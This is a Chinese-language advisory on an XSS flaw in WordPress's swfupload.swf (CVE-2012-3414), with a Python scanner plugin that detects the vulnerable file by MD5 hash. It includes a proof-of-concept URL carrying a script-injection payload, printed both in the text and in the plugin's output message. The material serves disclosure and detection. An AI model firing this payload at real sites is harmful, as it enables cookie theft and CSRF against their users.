详细描述
XSS in SWFUpload (CVE-2012-3414) 本插件仅是一次学习性编程，只检查wp-includes/js/swfupload/swfupload.swf文件是否存在。
原文：https://nealpoole.com/blog/2012/05/xss-and- csrf-via-swf-applets-swfupload-plupload/ 对wp-includes/js/swfupload/swfupload.swf进行反编译分析，尽管swfupload.swf其对传入 ExternalInterface.call的第二个参数进行了安全编码，但对于函数名，即ExternalInterface.call的第一个参数 没有进行安全编码。 而函数名中的部分字符可控，造成xss漏洞。
多谢zero大哥的提醒，让我改进了代码，增添了hash验证的方法来识别漏洞。我目前测试了多个版本的wp，发现存在漏洞文件的hash是同一个。如果还存在不同的hash，我会在后续的测试中加进来。
漏洞证明： http://www.80sec.com/wp-includes/js/swfupload/swfupload.swf?movieName="])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
漏洞危害
攻击者可窃取用户cookie或者构造CSRF。
解决方案
目前官方在最新版已经修改了该漏洞，建议升级到3.4.1及以上版本。
插件源码
- #!/usr/bin/env python
- # -*- coding: utf-8 -*-
- # Wordpress URL跨站识别 v1.0
- import re
- import urlparse
- import md5
- def assign(service, arg):
- #只适用于wordpress网站
- #此任务由cms识别插件产生, arg为网站url
- if service != "wordpress":
- return
- return True, arg
- def audit(arg):
- url = arg
- #通过检查wordpress是否存在该url来识别是否存在xss
- code, head, res, errcode, _ = curl.curl(url + 'wp-includes/js/swfupload/swfupload.swf')
- if code == 200 and validate(res):
- security_info('Wordpress URL XSS Exits! Try '+url+'wp-includes/js/swfupload/swfupload.swf?movieName="])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//')
- def validate(res):
- val_hash = '3a1c6cc728dddc258091a601f28a9c12'
- res_md5 = md5.new(res)
- if val_hash == res_md5.hexdigest():
- return True
- else:
- return False
- if __name__ == '__main__':
- from dummy import *
- audit(assign('wordpress','http://www.abc.com/')[1])
更新日期
2012-09-20 16:38:04 By owlinrye
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论